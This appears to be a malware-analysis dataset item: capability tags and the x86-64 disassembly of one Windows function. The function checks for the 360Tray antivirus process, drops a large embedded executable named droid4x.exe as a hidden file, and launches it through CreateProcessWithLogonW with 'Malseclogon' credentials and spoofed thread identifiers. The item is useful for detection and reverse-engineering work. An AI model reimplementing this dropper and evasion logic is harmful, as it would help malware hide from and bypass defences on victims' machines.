Function at 0x180005090
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Enumerate processes
Get common file path
Get file attributes
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x688]
sub rsp, 0x788
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005124
xor edx, edx
lea rcx, [rbp + 0x234]
mov r8d, 0x234
call fcn.18000beb0
lea rdx, [rbp + 0x230]
mov dword [rbp + 0x230], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000511b
nop dword [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x25c]
call fcn.180013f60
mov rcx, rbx
test eax, eax
je 0x180005133
lea rdx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800050f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180004d70
add rsp, 0x788
pop rbx
pop rbp
ret
mov qword [rsp + 0x7a8], rsi
mov qword [rsp + 0x7b0], rdi
mov qword [rsp + 0x780], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x230]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0x230]
lea rdx, str._sdroid4x.exe
lea rcx, [rbp + 0x470]
call fcn.180005f50
xor r14d, r14d
lea rcx, [rbp + 0x470]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], r14d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x6a0]
mov qword [rsp + 0x20], r14
mov rcx, rax
lea rdx, [0x18007c8e0]
mov r8d, 0x854aa8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x470]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180005207
or eax, 2
lea rcx, [rbp + 0x470]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edx, edx
mov dword [rbp - 0x10], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp - 0x10]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180005259
nop dword [rax]
lea rdx, [0x18003ac20]
lea rcx, [rbp + 0x1c]
call fcn.180013f60
mov rcx, rbx
test eax, eax
je 0x1800053e0
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005230
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0xffffffff
mov qword [rbp + 0x6a0], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x6a0]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rbp + 0x6a0]
call fcn.180004f60
mov rcx, qword [rbp + 0x6a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword gs:[0x30]
lea r8, str.MalseclogonPwd
xorps xmm1, xmm1
mov edi, eax
xor eax, eax
mov ecx, esi
xorps xmm0, xmm0
mov r9d, 2
mov qword [rdx + 0x40], rcx
lea rcx, str.MalseclogonUser
mov qword [rdx + 0x48], rdi
lea rdx, str.MalseclogonDomain
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x20], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x470]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x40], rbx
mov qword [rcx + 0x48], rdi
mov r14, qword [rsp + 0x780]
mov rdi, qword [rsp + 0x7b0]
mov rsi, qword [rsp + 0x7a8]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005370
xor edx, edx
lea rcx, [rbp - 0xc]
mov r8d, 0x234
call fcn.18000beb0
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800053d5
nop dword [rax]
lea rdx, str.droid4x.exe
lea rcx, [rbp + 0x1c]
call fcn.180013f60
mov rcx, rbx
test eax, eax
je 0x1800053ee
lea rdx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800053b0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180005370
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rbp - 8]
jmp 0x180005267
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180004d70
add rsp, 0x788
pop rbx
pop rbp
ret